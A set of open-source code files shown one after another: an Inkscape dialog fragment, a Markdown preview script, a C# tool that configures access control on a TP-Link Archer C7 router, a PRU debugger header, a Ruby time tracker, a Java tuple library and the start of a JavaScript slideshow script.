* Get the file name chosen by the user. Valid after an [OK]
*/
Glib::ustring FileExportDialogImpl::getFilename()
{
return myFilename;
}
#endif // NEW_EXPORT_DIALOG
} // namespace Dialog
} // namespace UI
} // namespace Inkscape
/*
Local Variables:
mode:c++
c-file-style:"stroustrup"
c-file-offsets:((innamespace . 0)(inline-open . 0)(case-label . +))
indent-tabs-mode:nil
fill-column:99
End:
*/
// vim: filetype=cpp:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:fileencoding=utf-8:textwidth=99 :
| gpl-2.0 |
bave8672/ASPNETMVCBlogDemo | ASPNETMVCBlogDemo-master/Scripts/MarkdownPreview.js | 295 | var markdown = new MarkdownDeep.Markdown();
var titleInput = $(".titleInput");
var titleOutput = $(".titleOutput");
var input = $(".mdInput");
var output = $(".mdPreview");
input.keyup(function () {
titleOutput.text(titleInput.val());
output.html(markdown.Transform(input.val()));
}); | gpl-2.0 |
mgefvert/ArcherC7AccessControl | src/Router.cs | 4693 | using System;
using System.Linq;
using System.Net;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
namespace ArcherC7AccessControl
{
public class Router
{
private readonly CookieContainer _cookies = new CookieContainer();
private readonly IPAddress _ip;
public string Session { get; private set; }
public Router(IPAddress ip)
{
_ip = ip;
}
public void Login(string username, string password)
{
var md5 = string.Join("", MD5.Create().ComputeHash(Encoding.Default.GetBytes(password)).Select(x => x.ToString("x2")));
var auth = Convert.ToBase64String(Encoding.Default.GetBytes(username + ":" + md5));
_cookies.Add(new Cookie("Authorization", "Basic " + auth, "/", _ip.ToString()));
var response = DoRequest("userRpm/LoginRpm.htm?Save=save");
var match = Regex.Match(response, "http://" + _ip + "/(.+)/userRpm");
if (!match.Success)
throw new Exception("Login failed");
Session = match.Groups[1].Value;
}
public void Logout()
{
DoRequest("userRpm/LogoutRpm.htm");
}
public void AddHost(AccessHost host)
{
DoRequest("userRpm/AccessCtrlHostsListsRpm.htm?" + host);
}
public void AddMacFilter24GHz(MacFilter filter)
{
DoRequest("userRpm/WlanMacFilterRpm.htm?" + filter);
}
public void AddMacFilter5GHz(MacFilter filter)
{
DoRequest("userRpm/WlanMacFilterRpm_5g.htm?" + filter);
}
public void AddRule(AccessRule rule)
{
DoRequest("userRpm/AccessCtrlAccessRulesRpm.htm?" + rule);
}
public void AddSchedule(AccessSchedule schedule)
{
DoRequest("userRpm/AccessCtrlTimeSchedRpm.htm?" + schedule);
}
public void DeleteAllHosts()
{
DoRequest("userRpm/AccessCtrlHostsListsRpm.htm?doAll=DelAll&Page=1");
}
public void DeleteAllMacFilters24GHz()
{
DoRequest("userRpm/WlanMacFilterRpm.htm?Page=1&DoAll=DelAll");
}
public void DeleteAllMacFilters5GHz()
{
DoRequest("userRpm/WlanMacFilterRpm_5g.htm?Page=1&DoAll=DelAll");
}
public void DeleteAllRules()
{
DoRequest("userRpm/AccessCtrlAccessRulesRpm.htm?doAll=DelAll&Page=1");
}
public void DeleteAllSchedules()
{
DoRequest("userRpm/AccessCtrlTimeSchedRpm.htm?doAll=DelAll&Page=1");
}
public void SetAccessRules(bool enableAccessControls, AccessTrafficRule trafficRule)
{
var enable = enableAccessControls ? 1 : 0;
var rule = (int)trafficRule;
DoRequest("userRpm/AccessCtrlAccessRulesRpm.htm?enableCtrl=" + enable + "&defRule=" + rule + "&Page=1");
}
public void SetMacFiltering24GHz(bool enable)
{
DoRequest("userRpm/WlanMacFilterRpm.htm?Page=1&" + (enable ? "Enfilter=1" : "Disfilter=1"));
}
public void SetMacExclusiveAccess24Ghz(bool exclusive)
{
DoRequest("userRpm/WlanMacFilterRpm.htm?Page=1&exclusive=" + (exclusive ? "1" : "0"));
}
public void SetMacFiltering5GHz(bool enable)
{
DoRequest("userRpm/WlanMacFilterRpm_5g.htm?Page=1&" + (enable ? "Enfilter=1" : "Disfilter=1"));
}
public void SetMacExclusiveAccess5Ghz(bool exclusive)
{
DoRequest("userRpm/WlanMacFilterRpm_5g.htm?Page=1&exclusive=" + (exclusive ? "1" : "0"));
}
private string DoRequest(string url)
{
var request = WebRequest.CreateHttp("http://" + _ip + "/" + (Session != null ? Session + "/" : "") + url);
request.CookieContainer = _cookies;
request.AllowAutoRedirect = false;
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36";
request.Referer = "http://" + _ip + "/";
using (var response = (HttpWebResponse)request.GetResponse())
{
if (response.StatusCode != HttpStatusCode.OK)
throw new Exception("HTTP error code " + (int)response.StatusCode + " from " + url);
using (var stream = response.GetResponseStream())
{
if (stream == null)
return null;
var buffer = new byte[1024];
var sb = new StringBuilder();
int len;
do
{
len = stream.Read(buffer, 0, buffer.Length);
sb.Append(Encoding.Default.GetString(buffer, 0, len));
} while (len != 0);
var result = sb.ToString();
var errMatch = Regex.Match(result, "errCode\\s*=\\s*\"(\\d+)\"");
if (errMatch.Success)
throw new Exception("Error " + errMatch.Groups[1].Value + " while configuring router");
return result;
}
}
}
}
}
| gpl-2.0 |
wz2b/prude | Pruss.hpp | 1599 | /*
* PRU Debugger
* Copyright (C) 2012 Christopher Piggott
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef PRUSS_HPP
#define PRUSS_HPP
#include <stdint.h>
#include "Pru.hpp"
/**
* Defines the interface to a PRU subsystem
*/
class Pruss {
public:
/**
* Get the number of PRUs in this subsystem
* @return
*/
virtual int getNumPrus() = 0;
/**
* Get object model for one PRU within the subsystem
* @param pruNum
* @return
*/
Pru & getPru(int pruNum) =0;
/**
* Get the revision ID of the PRUSS
* @return
*/
u_int32_t getRevId(void) =0;
/**
* Get the calue of the SYSCFG register
* I may break this out into individual pieces later
* @return
*/
u_int32_t getSysConfig(void) =0;
/* There are other PRUSS_CFG registers I am ignoring for now. */
};
#endif /* PRUSS_HPP */
| gpl-2.0 |
ghedamat/rworktracker | lib/rworktracker.rb | 3541 | require 'yaml'
require 'time'
require 'date'
class RworkTrackerCli
def initialize(file)
@rw = RworkTracker.new(file)
@rw.loadYaml
end
def help
puts "Welcome to RworkTracker: Work Time Tracking Interface"
puts "Available Commands are:"
puts "\t pr, projects: list active projects"
puts "\t add, addproject <projectname>, Add a new project"
puts "\t start <project name>, Start tracking a project"
puts "\t stop <project name>, Stop tracking a project"
puts "\t stats, show total projects stats"
puts "\t stat <project name>, show total project stats"
end
def projects
puts "Active project are:"
@rw.projects.each do |e|
puts e + " - running now" if @rw.started?(e)
puts e + " - not running now" if [email protected]?(e)
end
end
def addproject
if ARGV.length > 1
@rw.addProject(ARGV[1..-1].join('_'))
@rw.writeYaml
else
warn "you need to provide a project name"
end
end
def start
if ARGV.length > 1
if @rw.start(ARGV[1..-1].join('_'))
@rw.writeYaml
else
warn "please create the project first"
end
else
warn "you need to provide a project name"
end
end
def stop
if ARGV.length > 1
if @rw.stop(ARGV[1..-1].join('_'))
@rw.writeYaml
else
warn "please create the project first or start it !"
end
else
warn "you need to provide a project name"
end
end
def stat(pro = ARGV[1..-1].join('_'))
if pro
tot = @rw.elapsed(pro)
if tot
puts "Project #{pro} took #{Time.at(tot).gmtime.strftime('%R:%S')} hours"
else
warn "please provide a valid project"
end
else
warn "you need to provide a project name"
end
end
def stats
@rw.projects.each do |e|
stat(e)
end
end
def method_missing(m, *args, &block)
if ['pr','add'].include?(m.to_s)
self.send self.public_methods.grep(/#{m}/)[0]
else
puts "There's no method called #{m} here"
help
end
end
end
class RworkTracker
def initialize(yamlfile = nil)
@yamlfile = yamlfile
@wdata = Hash.new
@time = Time.now
end
attr_accessor :yamlfile
attr_reader :wdata
def renewTime
@time = Time.now
end
def loadYaml
begin
f = YAML.load(File.open(@yamlfile))
rescue
f = false
end
@wdata = ( f == false) ? Hash.new : f
#check_status
end
def writeYaml
File.open(@yamlfile, File::CREAT|File::TRUNC|File::RDWR) do |f|
f << YAML::dump(@wdata)
end
end
def projects
@wdata.keys
end
def addProject(pro)
@wdata[pro] ||= []
end
def started?(pro)
begin
if @wdata[pro].last['stop'] == nil
return true
else
return false
end
rescue
return false
end
end
def start(pro)
return false unless @wdata[pro]
@wdata[pro] << { 'start' => @time.to_s }
return true
end
def stop(pro)
return false unless @wdata[pro]
if @wdata[pro].last.has_key?('start') and !@wdata[pro].last.has_key?('stop')
@wdata[pro].last.merge!({ 'stop' => @time.to_s })
return true
else
return false
end
end
def elapsed(pro)
return false unless @wdata[pro]
total = 0
@wdata[pro].each do |e|
if e['stop']
total += Time.parse(e['stop']) - Time.parse(e['start'])
elsif started?(pro)
total += Time.now - Time.parse(e['start'])
end
end
return total
end
end
| gpl-2.0 |
JiangKlijna/my-workspaces | java/Tuple.java | 24650 | public class Tuple {
private Tuple() {
}
public static class Zero implements java.io.Serializable {
public static final int N = 0;
private Zero() {
}
public Zero copy() {
return new Zero();
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
return true;
}
@Override
public int hashCode() {
return Zero.class.hashCode();
}
@Override
public String toString() {
return "Tuple.Zero()";
}
}
public static class One<A> extends Zero {
public static final int N = 1;
public final A a;
private One(A a) {
this.a = a;
}
public A getFirst() {
return a;
}
public One<A> setFirst(A a) {
return new One<A>(a);
}
@Override
public One<A> copy() {
return new One<A>(a);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
One other = (One) o;
if (!Tuple.equals(a, other.a)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (a != null ? a.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.One(" + a + ")";
}
}
public static class Two<A, B> extends One<A> {
public static final int N = 2;
public final B b;
private Two(A a, B b) {
super(a);
this.b = b;
}
public B getSecond() {
return b;
}
@Override
public Two<A, B> setFirst(A a) {
return new Two<A, B>(a, b);
}
public Two<A, B> setSecond(B b) {
return new Two<A, B>(a, b);
}
@Override
public Two<A, B> copy() {
return new Two<A, B>(a, b);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Two other = (Two) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (b != null ? b.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Two(" + a + ", " + b + ")";
}
}
public static class Three<A, B, C> extends Two<A, B> {
public static final int N = 3;
public final C c;
private Three(A a, B b, C c) {
super(a, b);
this.c = c;
}
public C getThird() {
return c;
}
@Override
public Three<A, B, C> setFirst(A a) {
return new Three<A, B, C>(a, b, c);
}
@Override
public Three<A, B, C> setSecond(B b) {
return new Three<A, B, C>(a, b, c);
}
public Three<A, B, C> setThird(C c) {
return new Three<A, B, C>(a, b, c);
}
@Override
public Three<A, B, C> copy() {
return new Three<A, B, C>(a, b, c);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Three other = (Three) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (c != null ? c.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Three(" + a + ", " + b + ", " + c + ")";
}
}
public static class Four<A, B, C, D> extends Three<A, B, C> {
public static final int N = 4;
public final D d;
private Four(A a, B b, C c, D d) {
super(a, b, c);
this.d = d;
}
public D getFourth() {
return d;
}
@Override
public Four<A, B, C, D> setFirst(A a) {
return Tuple.make(a, b, c, d);
}
@Override
public Four<A, B, C, D> setSecond(B b) {
return Tuple.make(a, b, c, d);
}
@Override
public Four<A, B, C, D> setThird(C c) {
return Tuple.make(a, b, c, d);
}
public Four<A, B, C, D> setFourth(D d) {
return Tuple.make(a, b, c, d);
}
@Override
public Four<A, B, C, D> copy() {
return Tuple.make(a, b, c, d);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Four other = (Four) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (d != null ? d.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Four(" + a + ", " + b + ", " + c + ", " + d + ")";
}
}
public static class Five<A, B, C, D, E> extends Four<A, B, C, D> {
public static final int N = 5;
public final E e;
private Five(A a, B b, C c, D d, E e) {
super(a, b, c, d);
this.e = e;
}
public E getFifth() {
return e;
}
@Override
public Five<A, B, C, D, E> setFirst(A a) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
@Override
public Five<A, B, C, D, E> setSecond(B b) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
@Override
public Five<A, B, C, D, E> setThird(C c) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
@Override
public Five<A, B, C, D, E> setFourth(D d) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
public Five<A, B, C, D, E> setFifth(E e) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
@Override
public Five<A, B, C, D, E> copy() {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Five other = (Five) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (e != null ? e.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Five(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ")";
}
}
public static class Six<A, B, C, D, E, F> extends Five<A, B, C, D, E> {
public static final int N = 6;
public final F f;
private Six(A a, B b, C c, D d, E e, F f) {
super(a, b, c, d, e);
this.f = f;
}
public F getSixth() {
return f;
}
@Override
public Six<A, B, C, D, E, F> setFirst(A a) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public Six<A, B, C, D, E, F> setSecond(B b) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public Six<A, B, C, D, E, F> setThird(C c) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public Six<A, B, C, D, E, F> setFourth(D d) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public Six<A, B, C, D, E, F> setFifth(E e) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
public Six<A, B, C, D, E, F> setSixth(F f) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public Six<A, B, C, D, E, F> copy() {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Six other = (Six) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
if (!Tuple.equals(f, other.f)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (f != null ? f.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Six(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ", " + f + ")";
}
}
public static class Seven<A, B, C, D, E, F, G> extends Six<A, B, C, D, E, F> {
public static final int N = 7;
public final G g;
private Seven(A a, B b, C c, D d, E e, F f, G g) {
super(a, b, c, d, e, f);
this.g = g;
}
public G getSeventh() {
return g;
}
@Override
public Seven<A, B, C, D, E, F, G> setFirst(A a) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> setSecond(B b) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> setThird(C c) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> setFourth(D d) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> setFifth(E e) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> setSixth(F f) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
public Seven<A, B, C, D, E, F, G> setSeventh(G g) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public Seven<A, B, C, D, E, F, G> copy() {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Seven other = (Seven) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
if (!Tuple.equals(f, other.f)) return false;
if (!Tuple.equals(g, other.g)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (g != null ? g.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Seven(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ", " + f + ", " + g + ")";
}
}
public static class Eight<A, B, C, D, E, F, G, H> extends Seven<A, B, C, D, E, F, G> {
public static final int N = 8;
public final H h;
private Eight(A a, B b, C c, D d, E e, F f, G g, H h) {
super(a, b, c, d, e, f, g);
this.h = h;
}
public H getEighth() {
return h;
}
@Override
public Eight<A, B, C, D, E, F, G, H> setFirst(A a) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setSecond(B b) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setThird(C c) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setFourth(D d) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setFifth(E e) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setSixth(F f) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> setSeventh(G g) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
public Eight<A, B, C, D, E, F, G, H> setEighth(H h) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public Eight<A, B, C, D, E, F, G, H> copy() {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Eight other = (Eight) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
if (!Tuple.equals(f, other.f)) return false;
if (!Tuple.equals(g, other.g)) return false;
if (!Tuple.equals(h, other.h)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (h != null ? h.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Eight(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ", " + f + ", " + g + ", " + h + ")";
}
}
public static class Nine<A, B, C, D, E, F, G, H, I> extends Eight<A, B, C, D, E, F, G, H> {
public static final int N = 9;
public final I i;
private Nine(A a, B b, C c, D d, E e, F f, G g, H h, I i) {
super(a, b, c, d, e, f, g, h);
this.i = i;
}
public I getNinth() {
return i;
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setFirst(A a) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setSecond(B b) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setThird(C c) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setFourth(D d) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setFifth(E e) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setSixth(F f) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setSeventh(G g) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> setEighth(H h) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
public Nine<A, B, C, D, E, F, G, H, I> setNinth(I i) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public Nine<A, B, C, D, E, F, G, H, I> copy() {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Nine other = (Nine) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
if (!Tuple.equals(f, other.f)) return false;
if (!Tuple.equals(g, other.g)) return false;
if (!Tuple.equals(h, other.h)) return false;
if (!Tuple.equals(i, other.i)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (i != null ? i.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Nine(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ", " + f + ", " + g + ", " + h + ", " + i + ")";
}
}
public static class Ten<A, B, C, D, E, F, G, H, I, J> extends Nine<A, B, C, D, E, F, G, H, I> {
public static final int N = 10;
public final J j;
private Ten(A a, B b, C c, D d, E e, F f, G g, H h, I i, J j) {
super(a, b, c, d, e, f, g, h, i);
this.j = j;
}
public J getTenth() {
return j;
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setFirst(A a) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setSecond(B b) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setThird(C c) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setFourth(D d) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setFifth(E e) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setSixth(F f) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setSeventh(G g) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setEighth(H h) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> setNinth(I i) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
public Ten<A, B, C, D, E, F, G, H, I, J> setTenth(J j) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public Ten<A, B, C, D, E, F, G, H, I, J> copy() {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Ten other = (Ten) o;
if (!Tuple.equals(a, other.a)) return false;
if (!Tuple.equals(b, other.b)) return false;
if (!Tuple.equals(c, other.c)) return false;
if (!Tuple.equals(d, other.d)) return false;
if (!Tuple.equals(e, other.e)) return false;
if (!Tuple.equals(f, other.f)) return false;
if (!Tuple.equals(g, other.g)) return false;
if (!Tuple.equals(h, other.h)) return false;
if (!Tuple.equals(i, other.i)) return false;
if (!Tuple.equals(j, other.j)) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (j != null ? j.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple.Ten(" + a + ", " + b + ", " + c + ", " + d + ", " + e + ", " + f + ", " + g + ", " + h + ", " + i + ", " + j + ")";
}
}
public static final Zero make() {
return new Zero();
}
public static final <A> One<A> make(A a) {
return new One<A>(a);
}
public static final <A, B> Two<A, B> make(A a, B b) {
return new Two<A, B>(a, b);
}
public static final <A, B, C> Three<A, B, C> make(A a, B b, C c) {
return new Three<A, B, C>(a, b, c);
}
public static final <A, B, C, D> Four<A, B, C, D> make(A a, B b, C c, D d) {
return new Four<A, B, C, D>(a, b, c, d);
}
public static final <A, B, C, D, E> Five<A, B, C, D, E> make(A a, B b, C c, D d, E e) {
return new Five<A, B, C, D, E>(a, b, c, d, e);
}
public static final <A, B, C, D, E, F> Six<A, B, C, D, E, F> make(A a, B b, C c, D d, E e, F f) {
return new Six<A, B, C, D, E, F>(a, b, c, d, e, f);
}
public static final <A, B, C, D, E, F, G> Seven<A, B, C, D, E, F, G> make(A a, B b, C c, D d, E e, F f, G g) {
return new Seven<A, B, C, D, E, F, G>(a, b, c, d, e, f, g);
}
public static final <A, B, C, D, E, F, G, H> Eight<A, B, C, D, E, F, G, H> make(A a, B b, C c, D d, E e, F f, G g, H h) {
return new Eight<A, B, C, D, E, F, G, H>(a, b, c, d, e, f, g, h);
}
public static final <A, B, C, D, E, F, G, H, I> Nine<A, B, C, D, E, F, G, H, I> make(A a, B b, C c, D d, E e, F f, G g, H h, I i) {
return new Nine<A, B, C, D, E, F, G, H, I>(a, b, c, d, e, f, g, h, i);
}
public static final <A, B, C, D, E, F, G, H, I, J> Ten<A, B, C, D, E, F, G, H, I, J> make(A a, B b, C c, D d, E e, F f, G g, H h, I i, J j) {
return new Ten<A, B, C, D, E, F, G, H, I, J>(a, b, c, d, e, f, g, h, i, j);
}
private static final boolean equals(Object a, Object b) {
return (a == b) || (a != null && a.equals(b));
}
}
| gpl-2.0 |
Harest/Slideshow | js/main.js | 10624 | /* HOW IT WORKS
You need a .txt with one filepath you want to see / line.
It can be any image format including gif, and any video format supported by html5.
In Windows for instance, you can use something like this on a directory :
dir "D:\Documents\Images" /A-D /S /b /-p /o:gen >List_Files.txt
NB : If you're using the script locally via file://, you may need to follow these advices :
http://kb.mozillazine.org/Links_to_local_pages_do_not_work
CONTROLS
Left arrow : Previous file
Right arrow : Next file (random if not already existing)
Up/Down arrow : Increase/Decrease the timer
Spacebar : Pause (be careful to unfocus the "Browse" button first)
Echap : Display/Hide the config window
*/
var arrF = []; // Files list
var arrFS = []; // Files displayed
var nextF; // Var used to display the next file or not with Interval
var nF = 0; // Current number of the file displayed ; Used to go back in the history
var precFunc; // Precedent function to prevent too much reset of setInterval
var maxHeight = window.innerHeight-30; // Maximum height an image should be to avoid overflow
// ---------- VARIABLES BELOW CAN BE MODIFIED
var extImg = "jpg,jpeg,gif,png,bmp"; // Images Extensions
var extVid = "mp4,webm,ogg"; // HTML5 Video Extensions
var extVidObj = "avi,wmv,flv,divx,mpg,mpeg"; // Object Video Extensions
var timer = 5000; // Set default timer to 5 seconds
var pause = false; // Pause disabled by default
var rootSrc = "file://"; // This is the root directory of your files, can be empty if not needed
var regDrive = null; // RegExp to remove the drive letter of all the filenames if needed - eg: /D:\\/gi
var minWidth = 600; // Minimum width an image should be in pixels
var expireDays = 30; // How long until the config cookie will expire
var keyShortcuts = {
pause: 32,
prev: 37,
next: 39,
incTimer: 38,
decTimer: 40,
configW: 27
};
// ---------- VARIABLES ABOVE CAN BE MODIFIED
// Get the files list
function handleFileSelect(evt) {
var f = evt.target.files[0];
